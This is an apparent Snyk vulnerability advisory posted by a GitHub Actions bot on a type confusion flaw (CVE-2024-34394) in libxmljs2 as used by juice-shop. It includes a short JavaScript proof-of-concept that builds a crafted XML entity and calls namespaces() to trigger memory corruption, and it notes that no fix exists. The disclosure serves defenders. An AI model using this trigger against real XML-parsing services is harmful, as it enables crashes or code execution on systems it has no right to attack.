High severity - Type Confusion vulnerability in libxmljs2 (package.json)

[github-actions]

• Package Manager: npm
• Vulnerable module: libxmljs2
• Introduced through: juice-shop@12.3.0 and libxmljs2@0.26.7

Detailed paths

• Introduced through: juice-shop@12.3.0 › libxmljs2@0.26.7

Overview

libxmljs2 is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Type Confusion when parsing a specially crafted XML while invoking the namespaces() function (which invokes XmlNode::get_local_namespaces()) on a grand-child of a node that refers to an entity.

Exploiting this vulnerability leads to an RCE, data leak DoS on 64-bit and 32-bit systems.

PoC

const libxmljs2 = require('libxmljs2');

var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer PUBLIC "` + "A".repeat(8) + "B".repeat(8) + "C".repeat(8) + "D".repeat(8) + "P".repeat(8) + `" "JFrog Security">
]>
<from>&writer;</from>
`;

t = libxmljs2.parseXml(d)
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0] //entity_decl
n = c2.namespaces(true) //onlyLocal = true

Remediation

There is no fixed version for libxmljs2.

References

• GitHub Issue
  
  SNYK-JS-LIBXMLJS2-6808816
  (CVE-2024-34394) libxmljs2@0.26.7